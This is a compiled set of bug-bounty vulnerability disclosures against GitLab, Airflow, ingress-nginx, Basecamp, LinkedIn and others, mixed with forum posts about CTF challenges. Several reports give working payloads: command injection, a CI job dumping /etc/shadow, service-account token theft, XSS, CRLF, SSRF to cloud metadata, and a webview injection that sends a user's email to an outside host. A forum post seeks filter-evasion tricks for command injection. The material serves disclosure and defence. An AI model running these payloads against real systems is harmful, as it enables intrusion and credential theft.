[Improper Access Control - Generic] RepositoryPipeline allows importing of local git repos

### Summary

When importing a project via the BulkImports, the response field `httpUrlToRepo` from the client is used to fetch the repo:

https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/lib/bulk_imports/projects/pipelines/repository_pipeline.rb#L17
```ruby
        def load(context, data)
          url = data['httpUrlToRepo']
          return unless url.present?

          url = url.sub("://", "://oauth2:#{context.configuration.access_token}@")
          project = context.portable

          Gitlab::UrlBlocker.validate!(url, allow_local_network: allow_local_requests?, allow_localhost: allow_local_requests?)

          project.ensure_repository
          project.repository.fetch_as_mirror(url)
        end
```

`Gitlab::UrlBlocker.validate` is called, but since no schemas are passed in it allows any (such as file) so long as the rest of the url is valid.

This means that if a url such as `file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git` is supplied, this will end up being used by git fetch, eg:

```bash
$ git fetch file://aw.rs/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git
fatal: '/var/opt/gitlab/git-data/repositories/@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git' does not appear to be a git repository
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
```

This allows an attacker to import any local repository that the current machine has access to if the path is known.

The storage path for projects in gitlab is just based on a configurable folder combined with a bucketed sha2 hash of  the id, eg for project 38006449 the `Digest::SHA2.hexdigest("38006449")` is  `b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562` so the path will be at `@hashed/b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562.git`.

This can then be used to import any gitlab repository via the project id by calculating the path, such as the gitlab ctf project!

`{gitlab-bounty-flag-7a3f26698d2ef146843d7209e5efc8ec}`

### Steps to reproduce

1. Create a private project with User A and edit the readme file, make note of the project id
1. Download {F1892171} and edit line 99 with the new path to the repository above (replace `b1/74/b174103b399555239923697fbe124faa61de4d441bd5c5678275eb0a5a27a562` with the new `sha2[0:2]/sha2[2:4]/sha2`)
1. Run the server with `FLASK_APP=fake_server.py FLASK_ENV=development flask run`
1. Start ngrok with `ngrok http 500`
1. User B, visit https://gitlab.com/groups/new#import-group-pane and enter your ngrok url, any token and hit connect
1. In the browser console,  replace `"destination_namespace":"vakzz"` with your gitlab username (or a group you have access too) in the code below and run it:

  ```javascript
await fetch("/import/bulk_imports.json", { method: "POST", headers: { "X-CSRF-Token": document.querySelector("[name=csrf-token]").content, "Content-Type": "application/json" }, body: `{"bulk_import":[{"source_type":"project_entity","source_full_path":"group1/project1","destination_namespace":"vakzz","destination_slug":"some_project_z_${Math.floor(Math.random() * 10000)}"}]}` });
  ```

1. After a few minutes you should see a new project appear
1. Initially it will just show `No repository`
1. After another minute or so the project will either show `The repository for this project is empty`  or it will be a clone of the project from User A
1. If you see `The repository for this project is empty` then just repeat the fetch call again, it can take a few tries to end up on the same server as the victim (I think that's what is happening)

This can also be done with a Helm install of gitlab using the base path of `/home/git/repositories` or using the omnibus edition, but you will need to check where the repositories are located


[Code Injection] Email html Injection

This bug is Email html Injection present in name of workspace while creating

## Impact

The input is unsanitized and vulnerable which led to html injection which may lead to phishing. when 2fa is applied it send mail with injected html


[Insecure Direct Object Reference (IDOR)] read and message other user's messages

go to your account's chat page, stop the request and change the reddit session parameter, now leave the request and you will be able to access the test account's chat screen

send the request to the repeater change the reddit session parameter and send it then you will see the return result is 200

show reply in browser and copy and paste the address into your browser you will access the chat page of your test account

## Impact

other users' chat screen can be accessed
and message can be sent


[Unknown] No password length restriction in reset password endpoint at http://suppliers.mtn.cm

Hello

## Summary:
I found no password length restriction in reset password endpoint at http://suppliers.mtn.cm when resetting new password

## Steps To Reproduce:
1. Visit https://suppliers.mtn.cm/ and register.
2. logout and reset your password
3. go to your email and click on reset password link
4. enter 150 characters as a password and confirm the characters
5. you will successfully logged in.

## Impact

Attacker can do denial of service to your server since there is no restriction in the length of password.
Example when he enter like 2500 character, your server will crash for some time,

I did not attempt to ddos your server,  because you exclude any activity related to denial of service to your assets, I only test for 150 character and its working.

##Mitigation :
Restrict user to use less than 40 character as a password, while the restriction should be both on back-end and front-end (with javascript ).

##Thank you


[Privilege Escalation] Privilege Escalation - "Analyst" Role Can View Email Domains of a Company - [GET /voyager/api/voyagerOrganizationDashEmailDomainMappings]

## Summary:
Hey team,
During the security assessment, I came across an endpoint - `GET /voyager/api/voyagerOrganizationDashEmailDomainMappings`, which is vulnerable to **privilege escalation**. A lower privileged user can abuse this to view the list of approved domains for email verification even though it can't be accessed directly from the UI.

## Vulnerable HTTP Request:
```
GET /voyager/api/voyagerOrganizationDashEmailDomainMappings?decorationId=com.linkedin.voyager.dash.deco.organization.FullOrganizationEmailDomainMapping-2&company=urn%3Ali%3Afsd_company%3A81541206&count=100&q=organization&start=0 HTTP/2
Host: www.linkedin.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/vnd.linkedin.normalized+json+2.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Restli-Protocol-Version: 2.0.0
Dnt: 1
Referer: https://www.linkedin.com/company/81541206/admin/manage-admins/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Cookie: REDACTED
Csrf-Token: REDACTED
```
## Steps to Reproduce:
* Go to https://www.linkedin.com/ and log in to your test account.
* Go to **"Me"** and click on your company under the **"Manage"** section.

{F1732479}
* Go to **"Admin Tools"** > **"Employee Verification"**

{F1732480}
* Intercept the vulnerable HTTP request.
* Change all the values of the cookie parameters & CSRF token to that of a lower privileged user (**"Analyst"** role). The response will disclose the approved domain for verification.

{F1732484}

# PoC:
* Have a look at the video here:

{F1732486}

## Impact

A lower privileged user can abuse this to view the list of approved domains for email verification even though it can't be accessed directly from the UI.


me too .But I got the next flag. I entered his backstage and got the next flag, indicating that the backstage can be broken


Can you possibly help me too? I’ve been battling with this for days. So far I’ve discovered that all the operands except && are blocked (ie. ; | \n) A sub shell is possible and ${PATH:0:1} works for /. However, LS_COLORS doesn’t exist so I can’t get a ; from that. I’ve tried 877915113.txt$(tr${IFS}‘!-}’${IFS}‘"-~’<<<:) to try and get a ; - I don’t get a Malicious error, I just get “Error While Moving:” and no filename or anything further. Right now I’m just trying to execute the ls command, but I’m getting nowhere. I feel like there is something simple I’m missing?


[Business Logic Errors] CVE-2023-27536: GSS delegation too eager connection re-use

libcurl would reuse a previously created connection even when the GSS delegation (CURLOPT_GSSAPI_DELEGATION) option had been changed that could have changed the user's permissions in a second transfer.

libcurl keeps previously used connections in a connection pool for subsequent transfers to reuse if one of them matches the setup. However, this GSS delegation setting was left out from the configuration match checks, making them match too easily, affecting krb5/kerberos/negotiate/GSSAPI transfers.

## Hackerone report
#1895135

## Impact

Existing connection that was established via more lax delegation will be reused for connection that should not succeed due to more restrictive delegation requested.


[CRLF Injection] CRLF Inection at `banfieldassets.com`

## Summary:

A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

## Steps To Reproduce:

Navigate to this URL
http://www.banfieldassets.com/%0D%0ASet-Cookie:%20CRLF_Injection_By_ze2pac

## PoC:
```
┌──(azab㉿kali)-[~]
└─$ curl -i http://www.banfieldassets.com/%0D%0ASet-Cookie:%20CRLF_Injection_By_ze2pac
HTTP/1.1 307 Temporary Redirect
Date: Tue, 11 Apr 2023 20:51:09 GMT
Content-Type: text/html
Content-Length: 164
Connection: keep-alive
Server: nginx
Location: https://banfieldassets.widencollective.com/
Set-Cookie: CRLF_Injection_By_ze2pac

<html>
<head><title>307 Temporary Redirect</title></head>
<body>
<center><h1>307 Temporary Redirect</h1></center>
<hr><center>nginx</center>
</body>
</html>
```

## Impact

XSS, Open Redirect, HTTP Response Splitting... etc.


Malware Analysis & Reverse Engineering CTF

Hi, I’m studying Penetration Testing and part of the training obviously focuses on solving CTF challenges. You must be asking yourself how the name of the title is related to PT? Well, it’s probably not that related, but there is a challenge that really caught my attention and I’ve been trying to solve it for a long time without success. The challenge contains a malicious file and the task is to investigate the file and find the FLAG hidden inside the file. So I will detail a bit about the malware and what I was able to understand from the code: Code details: Assembly - Assembly code - Pastebin.com (IDA PRO) What I understood: First of all, this is an executable file for Windows (EXE) and when I run the software in CMD I get an error “An error occurred” and the operation ends. Reading the code through IDA PRO you can see an Environment Variable called GREENIE, in my opinion everything starts here, and if I manage to discover the value of GREENIE I can move forward. It is also possible to notice other generic errors that exist in the software. I know that to solve the challenge, I would have to set up the environment properly and then follow the code, but I would need some direction because I am missing something. I got some guidance from someone who told me to learn about ENDIANNES, with emphasis on LITTLE ENDIAN. I read about it and the differences between BIG ENDIAN and LITTLE ENDIAN, but I couldn’t really understand how it is reflected in the software. I would appreciate and thank anyone who takes the time to help. Download link for the software: https://easyupload.io/ikpzq3 It is important to know that this is software that is detected as MALWARE by Windows Defender, so it is recommended to open it in a virtual system. Thank you!


[Command Injection - Generic] CVE-2022-38362: Apache Airflow Docker Provider <3.0 RCE vulnerability in example dag

Apache Airflow Docker's Provider shipped with an example DAG that was vulnerable to (authenticated) remote code exploit of code on the Airflow worker host.

##Vulnerability summary:
In DAG script of airflow 2.3.3, there is a command injection vulnerability (RCE) in the script (example_docker_copy_data.py of docker provider), which can obtain the permission of the operating system.

source path:
airflow-2.3.3/airflow/providers/docker/example_dags/example_docker_copy_data.py

##Vulnerability details：
(1) Vulnerability principle：
1. It can be seen from the source code of  example_docker_copy_data.py script that there is the function of executing bash command, The parameter ‘source_location’ in the template expression {{params.source_location}} is externally controllable and rendered through the jiaja2 template:

{F1869746}

2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;

{F1869748}

(2)Vulnerability exploit：
1. Enter the DAGs menu and start docker_sample_copy_data task, select “Trigger DAG w/ config”.

http://192.168.3.17:8080/trigger?dag_id=docker_sample_copy_data

{F1869749}

2. To construct payload, we can separate commands with ‘;’, so as to inject any operating system commands to be executed(RCE).

{F1869750}

PAYLOAD：```{"source_location":";touch /tmp/thisistest;"}```, Then click trigger to execute the task.

{F1869755}

The final command is as follows:
```locate_file_cmd = “”” sleep 10
find ;touch /tmp/thisistest; -type f -printf “%f\n” | head -1
“””
```

Through the log and server view, it can be seen that arbitrary command has been executed successfully.

{F1869756}

{F1869757}

## Impact

An attacker can execute arbitrary commands on the airflow host.


[Server-Side Request Forgery (SSRF)] Server-side request forgery  (ssrf)

*.yelp-support.com

## Summary:

Server-side request forgery

## Platform(s) Affected:

www.yelp-support.com

## Steps To Reproduce:

1. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.

2. your  server has redirect to malicious website

3. i am Referer: https://evil.com/    and  your don't  check  server properly the write website

#Steps

 1 .  i am open  assetfinder  to subdomain enumeration on this domain : yelp-support.com

2. i am open in this subdomain in Burp suite :  www.yelp-support.com

3. my Browser Request:

GET /static/111213/js/perf/stub.js HTTP/1.1
Host: www.yelp-support.com
Cookie: CookieConsentPolicy=0:1; LSKey-c$CookieConsentPolicy=0:1
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
#Referer: https://evil.com/                           --------- i am  change this link ------
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

4. and  your server Response:

HTTP/1.1 200 OK
Date: Mon, 26 Sep 2022 08:14:39 GMT
Content-Type: application/x-javascript
Connection: close
Strict-Transport-Security: max-age=63072000; includeSubDomains
Cache-Control: public,max-age=10368000
Expires: Tue, 24 Jan 2023 08:14:39 GMT
Last-Modified: Thu, 18 Dec 2014 19:28:42 GMT
Vary: Accept-Encoding
Server: sfdcedge
X-SFDC-Request-Id: 78779c5a3d8ac507638c3b6c783c3ce8
Content-Length: 1385

this["Perf"]&&void 0!==this["Perf"].enabled||(function(window){'use strict';var a={DEBUG:{name:"DEBUG",value:1},INTERNAL:{name:"INTERNAL",value:2},PRODUCTION:{name:"PRODUCTION",value:3},DISABLED:{name:"DISABLED",value:4}};
window.PerfConstants={PAGE_START_MARK:"PageStart",PERF_PAYLOAD_PARAM:"bulkPerf",MARK_NAME:"mark",MEASURE_NAME:"measure",MARK_START_TIME:"st",MARK_LAST_TIME:"lt",PAGE_NAME:"pn",ELAPSED_TIME:"et",REFERENCE_TIME:"rt",Perf_LOAD_DONE:"loadDone",STATS:{NAME:"stat",SERVER_ELAPSED:"internal_serverelapsed",DB_TOTAL_TIME:"internal_serverdbtotaltime",DB_CALLS:"internal_serverdbcalls",DB_FETCHES:"internal_serverdbfetches"}};window.PerfLogLevel=a;var b=window.Perf={currentLogLevel:a.DISABLED,mark:function(){return b},endMark:function(){return b},updateMarkName:function(){return b},measureToJson:function(){return""},toJson:function(){return""},setTimer:function(){return b},setServerTime:function(){return b},toPostVar:function(){return""},getMeasures:function(){return[]},getBeaconData:function(){return null},setBeaconData:function(){},clearBeaconData:function(){},removeStats:function(){},stat:function(){return b},getStat:function(){return-1},
onLoad:function(){},startTransaction:function(){return b},endTransaction:function(){return b},updateTransaction:function(){return b},isOnLoadFired:function(){return!1},util:{setCookie:function(){}},enabled:!1};})(this);

5. successfully redirect to your server

## Supporting Material/References:

1. assetfinder

2. Burp suite

## Impact

1. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.

2.  your  server has redirect to malicious website

3. i am continue to visit this so your server will crash

4. your website access to malicious website


[Uncontrolled Resource Consumption] DOS via issue preview

### Summary
Previewing an issue with a specially-crafted description results in high CPU usage for 60 seconds (request timeout).
Multiple requests can be issued in parallel to create a larger impact.

### Steps to reproduce
1. Given an authorized user (on GitLab.com - anyone can self-register. On EE - depends on instance configuration).
2. Create an issue with the following description (provided a one-line python script to avoid bloating):
3. Hit the preview button.

Steps 2&3 can be accomplished via the preview_markdown API endpoint.

The script:
```python -c "print('![l' * int(1048576 / 3 - 1) + '\n')"```
Note: this is essentially the maximal description size, but a smaller number of repetitions works too.

### Impact
After 60 seconds (timeout) - the request fails.
Meanwhile, on the server end, (a single) CPU is burnt out (verified against a local EE instance).
Issuing multiple requests in parallel results in multiple CPUs burn out.
Using the DockerHub image, the entire server is completely unavailable by repeatedly sending a small number of requests repeatedly.

### Examples
The bug is instance-independent, works on latest versions. Since GitLab.com is open-core - it would work on GitLab too.

### What is the current *bug* behavior?
The HTTP request fails for timeout while the server is burning CPU.

On the code side:
```texts_and_contexts``` is being initialized here:

```
def analyze(text, context = {})
      @texts_and_contexts << { text: text, context: context }
    end
```

It is then used at banzai/reference_extractor.rb:
```
def html_documents
      ...
      @html_documents ||= Renderer.cache_collection_render(@texts_and_contexts)
      ...
```

The CPU utilization is found in the execution of ```cache_collection_render```.

### What is the expected *correct* behavior?
Fix the implementation of ```cache_collection_render```.

### Relevant logs and/or screenshots
### Output of checks
#### Results of GitLab environment info

## Impact

A complete denial of service of a GitLab EE instance.
As this vulnerability impacts GitLab.com, we assume that this vulnerability opens the door for a DDOS attack.


[Privilege Escalation] Installing Gitlab runner with Docker-In-Docker allows root access

### Summary

Installing a Gitlab runner using official documents: https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-socket-binding
allows any user with access to Gitlab CI to have root access on Gitlab Runner server.

### Steps to reproduce
Install Gitlab-runner binary using official documents and run Docker-in-Docker:
```
sudo gitlab-runner register -n \
  --url https://gitlab.com/ \
  --registration-token REGISTRATION_TOKEN \
  --executor docker \
  --description "My Docker Runner" \
  --docker-image "docker:19.03.12" \
  --docker-volumes /var/run/docker.sock:/var/run/docker.sock
```
Then set "exploiter" tag for runner, and in a project that have access to this runner, enter following pipeline:
```
stages:
  - exploiter
exploiter:
    stage: exploiter
    when: manual
    tags:
      - exploiter
    script:
      - docker run --rm  --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
```
and run the job.

### Impact
Allows root access on Gitlab-runner server

### What is the current *bug* behavior?
Sample output of job allows reading /etc/shadow of server.
```
Running with gitlab-runner 14.5.1 (de104fcd)
  on My Docker Runner 4j_ZSXte
Preparing the "docker" executor 00:04
Using Docker executor with image docker:19.03.12 ...
Pulling docker image docker:19.03.12 ...
Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...
Preparing environment 00:02
Running on runner-4jzsxte-project-28249719-concurrent-0 via ubuntu-g1-1-1-25-su-1...
Getting source from Git repository 00:03
Fetching changes with git depth set to 50...
Reinitialized existing Git repository in /builds/foroozan2/barika/.git/
Checking out e64249e2 as main...
Skipping Git submodules setup
Executing "step_script" stage of the job script 00:10
Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker:19.03.12 with digest docker@sha256:d41efe7ad0df5a709cfd4e627c7e45104f39bbc08b1b40d7fb718c562b3ce135 ...
$ docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host ubuntu bash -c "cat /host/etc/shadow"
Unable to find image 'ubuntu:latest' locally
latest: Pulling from library/ubuntu
7b1a6ab2e44d: Pulling fs layer
7b1a6ab2e44d: Verifying Checksum
7b1a6ab2e44d: Download complete
7b1a6ab2e44d: Pull complete
Digest: sha256:626ffe58f6e7566e00254b638eb7e0f3b11d4da9675088f4781a50ae288f3322
Status: Downloaded newer image for ubuntu:latest
root:*:18438:0:99999:7:::
daemon:*:18438:0:99999:7:::
bin:*:18438:0:99999:7:::
sys:*:18438:0:99999:7:::
sync:*:18438:0:99999:7:::
games:*:18438:0:99999:7:::
man:*:18438:0:99999:7:::
lp:*:18438:0:99999:7:::
mail:*:18438:0:99999:7:::
news:*:18438:0:99999:7:::
uucp:*:18438:0:99999:7:::
proxy:*:18438:0:99999:7:::
www-data:*:18438:0:99999:7:::
backup:*:18438:0:99999:7:::
list:*:18438:0:99999:7:::
irc:*:18438:0:99999:7:::
gnats:*:18438:0:99999:7:::
nobody:*:18438:0:99999:7:::
systemd-network:*:18438:0:99999:7:::
systemd-resolve:*:18438:0:99999:7:::
systemd-timesync:*:18438:0:99999:7:::
messagebus:*:18438:0:99999:7:::
syslog:*:18438:0:99999:7:::
_apt:*:18438:0:99999:7:::
tss:*:18438:0:99999:7:::
uuidd:*:18438:0:99999:7:::
tcpdump:*:18438:0:99999:7:::
sshd:*:18438:0:99999:7:::
landscape:*:18438:0:99999:7:::
pollinate:*:18438:0:99999:7:::
systemd-coredump:!!:18966::::::
ubuntu:!:18966:0:99999:7:::
lxd:!:18966::::::
gitlab-runner:!:18966:0:99999:7:::
```

### What is the expected *correct* behavior?

Although this issue may be known to Gitlab team, there is no security warning in documents for not binding docker socket, or at least use it only on trusted servers. Currently I'm encountering many clients that were not aware of this security issue and were thinking they've provided isolation in their teams. Such issue allows a remote attacker to malform CI process and have access to sensitive data


[Unknown] [Python]: CWE-611: XXE

This bug was reported directly to GitHub Security Lab.


[Privacy Violation] Moderator can enable cam/mic remotely if  cam/mic-permission was disabled while user has activated cam/mic

## Summary:
[add summary of the vulnerability]

## Steps To Reproduce:

  1. Create a Call as User A (Moderator)
  2. Add User B to the call
  3. Start the call as User A
  4. User B joins the call and enables the camera
  5. User A removes all permissions for User B, cam and mic are now disabled
  6. User A grants all permissions to User B

--> now mic and cam are enabled remotely, if User B didn't disable it before removing permissions by User B

## Used Software Versions:
Nextcloud 23.0.3
spreed-App 13.0.4
nextcloud-spreed-signaling 0.4.0

## Impact

A call moderator can remotely enable user webcams, if there were enabled before removing the permissions. This is a big privacy issue.


[Privilege Escalation] Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token

Report Submission Form

## Summary:
A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).

## Kubernetes Version:
1.20 (should work on (1.21 as well)

## Component Version:
nginx ingress controller v1.0.4

## Steps To Reproduce:
I deployed the latest ingress-controller (v1.0.4).
I used a user (gaf_test) that has the permissions to get, create and update ingress resources
(the “get” permissions is only to allow kubectl to view the newly created resource).

ingress-creator-role.yaml
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ingress-creator
  namespace: default
rules:
- apiGroups: ["networking.k8s.io"]
  resources: ["ingresses"]
  verbs: ["get", "create", "update"]
```

ingress-creator-role-binding.yaml
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: gaf_test-ingress-creator-binding
  namespace: default
subjects:
- kind: User
  name: gaf_test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: ingress-creator
  apiGroup: rbac.authorization.k8s.io
```

This user (gaf_user) cannot list secrets at all.
{F1495367}

Use this user (gaf_user) to create a new ingress resource in the default namespace.

ingress.yaml
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: gaf-ingress
  annotations:
    kubernetes.io/ingress.class: "nginx"
spec:
  rules:
  -  http:
      paths:
        - path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
          pathType: Prefix
          backend:
            service:
              name: some-service
              port:
                number: 5678
```
```
kubectl apply -f ingress.yaml
```
{F1495369}

Access to nginx ingress loadbalancer to /gaf/token path.

https://<host>/gaf/token

 {F1495370}

Decode the token to see it belongs to the ingress-nginx
{F1495372}

The nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.

## The Root Cause
When a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace.
I caused a “config file injection” using the following payload as path:

**/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa**
The payload above creates the following configuration for nginx:

/etc/nginx/nginx.conf

{F1495371}

This is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias)
that maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.

## Impact

A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).


[Cross-Site Request Forgery (CSRF)] Possibility to force an admin to install recommended applications

## Summary:
Endpoint /nextcloud/index.php/core/apps/recommended is accessible via GET http method and doesn't check anti-csrf token. If an admin visits this endpoint in a browser the process of installation of recommended applications begins immediately.

## Steps To Reproduce:
1. an attacker creates a malicious page on controlled domain
1. an attacker enforce an admin to visit this page
1. an admin visits this page
1. applications will be installed in a while

## Affected version:
nextcloud/server: 22.2.2 (at least)

## Recommendation:
require requesttoken for this GET query
or you can change behaviour so to initiate the installation process by manual click (POST query with checking of requesttoken)

## [attachment / reference]
{F1517676}

## Impact

Increasing of attack surface.
Any unused plugins should be disabled or removed. But this way allows to install them.


[Cross-site Scripting (XSS) - Stored] [h1-2102] Stored XSS in product description via `productUpdate` GraphQL query leads to XSS at handshake-web-internal.shopifycloud.com/products/[ID]

This is most likely going to be a duplicate, so I'll keep it short.

A stored cross site scripting vulnerability exists at `handshake-web-internal.shopifycloud.com` through the `product description` field.

## Recruirements

A shop with the Handshake plugin enabled and set-up

## Reproduction steps

1. Add a product in your store with the following description (make sure to click the < > button first so you can enter HTML):

> <img src=x onerror=prompt(document.domain)>

then set it to `Active`:

{F1169545}

2. Go to your Handshake portal, pick a price and a category to publish the item:

{F1169544}

3. Check your item in the on the handshake website, XSS will pop up after +/- 3 seconds:

{F1169546}

(I removed the PoC for obvious reasons, please do the same when triaging or everyone will submit)

## Impact

Arbitrary javascript execution (stored) on a shared domain


[Unknown] Double forward slash breaks server-side restrictions & allows access to prohibited services from a partner account

Hi Team,

There appears to be a weird bug here. Making an API call to the prohibited endpoint appended with double/multiple slash is breaking some server-side restrictions imposed upon a partner account.

**Example** - In the present scenario, Autorebates facility is unavailable to the partners from India. When a direct request is made to the autorebates API endpoint, the application throws `HTTP/2 403 Forbidden`. However, when the similar request is made with double forward slash appended at the beginning, the application successfully processes the request. This effectively gives unrestricted access to the Autorebates facility which otherwise is strictly not available to a partner account from India.

#Steps to Reproduce

The below sample request (appended with double forward slash) attempts to create a client group with set rebate percentage under a partner account which do not have access to the autorebates facility. All requests appended with double forward slash breaks the server-side restriction and easily go through from a partner account with no access to the Autorebates facility.

```
POST //api/v2/autorebates/groups/ HTTP/2
Host: my.exnesstrade.pro
Content-Type: application/json
Authorization: JWT xyz

{
"group_title":"Test"
}
```
#Proof of Concept
███

███

███

## Impact

Making an API call with double/multiple forward slashes breaks the server-side restrictions imposed upon a partner account and allows a partner to have unrestricted access to the autorebates facility.


[Cross-site Scripting (XSS) - DOM] com.basecamp.bc3 Webview Javascript Injection and JS bridge takeover

It was identified that the android **com.basecamp.bc3 application**, contains a Webview where the loaded URLs are not sanitised properly. As this webview's functionality is extended via javascript interfaces and has the javascript enabled it is possible to inject arbitrary javascript code which will be executed by the application's webview and provide access to the java native code via the class **a.a.a.s.g** ( which is exposed via the NativeApp).

##JS Bridge

The following JS Bridges are exposed:

###nativeBridge

{F1452715}

###NativeApp

{F1452717}

###TurboNative

{F1452718}

##Steps to Reproduce

1. Create a valid basecamp account
2. Create a project

{F1452720}

3. Open any Sub-project tab (e.g. Message Board - it is needed only ONE time in order to initialise the JS interface  )

Run the following command after replacing the XXXXX with the user id

Example: {F1452730}

Command:
```
$adb shell am start -W -a android.intent.action.VIEW -d 'https://3.basecamp.com/XXXXX/p","advance","---"); /* comment */ window.location.replace("https://example.com?exfiltration="+nativeBridge.getPage().accountName); //'
```

Observer the HTTP requests of the app:

```
GET /?exfiltration=USER_EMAIL@gmail.com HTTP/2
Host: example.com
....
````

## Impact

Confidentiality, Integrity and availability are all affected from the specific vulnerability as the javascript code can be injected to an already loaded url while additional functionality is added via the exposed javascript interfaces:

###Javascript Injection:

{F1452742}

###Bridge Access

"Bucket Name:"+nativeBridge.getPage().bucketName + "Title: " + nativeBridge.getPage().title + "User email:" +nativeBridge.getPage().accountName);

{F1452750}

### Cookie exfiltration:

{F1452769}


[Time-of-check Time-of-use (TOCTOU) Race Condition] Race condition in joining CTF group

**Summary:**

A race condition in `https://ctf.hacker101.com/group/join` allows a user to join the same CTF group multiple times.

The user will show up in the group member list multiple times, and affect the group statistics.

**Description:**

Interestingly a race condition in this feature was reported in #604534, but it seems like the implementation has changed slightly, allowing the same issue to occur.

### Steps To Reproduce

1. As the team leader, generate a shared invitation link. For this example the link was `https://ctf.hacker101.com/group/join?invite=fdb4ba75da6e8da41650369d24e3866f90384550f952474df194db8077bda8b0`.

2. Use Burp Suite to intercept this request and configure Turbo Intruder as follows:

```python
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=100,
                           pipeline=True
                           )

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
        engine.queue(target.req, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

```

{F1692527}

3. Start the attack, and observe multiple requests succeeding with status code 200.

{F1692528}

We can verify from the invited user's screen that we have joined the same group multiple times.

{F1692529}

The user will also show up in the group multiple times from the group leader's screen.

{F1692530}

## Impact

Race condition allows a user to join the same group multiple times. This is more of a low-impact bug, but one that should be fixed nonetheless.


[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] HTML INJECTION  (STORED)

Hi team!

I found a way to inject arbitrary html which is also persistent or stored.
Unfortunately I could not execute javascript code, however I think that being stored html it is important to take a look, attackers could use this vulnerability for phishing attacks for example.

###PoC

https://judge.me/profile/y5YJe35X

You can see in the product description how I can add various html elements.

###To reproduce this:

In your profile judge.me go to "my public profile" then my recommendations, now add some html tags in description and then press "add recommendation"

{F1366217}

## Impact

Attackers can use this vulnerability to carry out phishing attacks. It is important to mention again that the stored html code has more impact, the victim does not need user interaction as in the case of the reflected xss.
Also, an attacker could generate good ratings and fake reviews by using html about your product to build trust.


[Cross-site Scripting (XSS) - DOM] [CVE-2023-23913] DOM Based Cross-site Scripting in rails-ujs for contenteditable HTML Elements

# Summary
Original report: https://hackerone.com/reports/1767802

## Impact

If the specified malicious HTML clipboard content is provided to a `contenteditable` element, this could result in the arbitrary execution of javascript on the origin in question.


[Unknown] https://get.ooni.torproject.org/

I am not sure this is in scope, but wanted to let you know

https://get.ooni.torproject.org/ has some directory listing with some images there

like https://get.ooni.torproject.org/lepidopter/current/lepidopter-v1.0.0-armel.img.zip


It seems like you are participating in a capture-the-flag (CTF) or penetration testing challenge and are trying to find specific flags on a target system.


[Server-Side Request Forgery (SSRF)] SSRF ACCESS AWS METADATA - █████

Hi Security Team,
Based on https://hackerone.com/hack-us-h1c challenge, I have urgent vulnerability and the challenge doesn't accept reprots for now 1:56 AM
.
I have found a SSRF Vulnerability which allow access to the AWS metadata, using Parameter `?url=` as shown blew
An attacker can tunnel into internal networks and access sensitive internal data such as AWS meta data information.

.
**Http Request**
```http
GET /api/v1/download-url?url=http://█████/latest/meta-data/ HTTP/1.1
Host: ████████
